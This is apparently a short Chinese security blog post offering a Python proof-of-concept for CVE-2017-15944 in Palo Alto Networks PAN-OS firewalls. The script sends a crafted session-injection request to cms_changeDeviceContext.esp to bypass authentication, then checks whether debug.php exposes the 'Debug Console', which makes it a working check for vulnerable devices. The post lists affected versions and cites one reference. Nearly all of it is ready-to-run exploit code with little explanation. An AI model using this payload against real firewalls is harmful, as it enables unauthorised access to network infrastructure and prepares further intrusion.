【One Poc One Day】-- CVE-2017-15944

# 0x01

One Poc One Day.

# 0x02 Poc

Palo Alto Networks firewalls 的RCE。

Poc只做了轻微的修改,em……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
#-*- encoding: utf-8 -*-
# Author: am4zing
# Date: 2018-08-10 14:31:58
# Project: https://github.com/yizhimanpadewoniu

"""
Palo Alto Network Firework CVE-2017-15944

影响版本:
PAN-OS 6.1.18 and earlier
PAN-OS 7.0.18 and earlier
PAN-OS 7.1.13 and earlier
PAN-OS 8.0.5 and earlier
"""

import requests
from termcolor import cprint


def poc(url):
try:
create_session_url = '{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(url)
verify_url = '{}/php/utils/debug.php'.format(url)
session = requests.Session()
if 'https' in url:
session.get(verify_url, verify=False)
session.get(create_session_url, verify=False)
verify = session.get(verify_url, verify=False)
else:
session.get(verify_url)
session.get(create_session_url)
verify = session.get(verify_url)

if 'Debug Console' in verify.text:
return '[CVE-2017-15944]' + url
else:
return False
except Exception:
return cprint('[Somethin wrong:] ' + url, 'red')

# 0x03 参考

先知社区-https://xz.aliyun.com/t/1795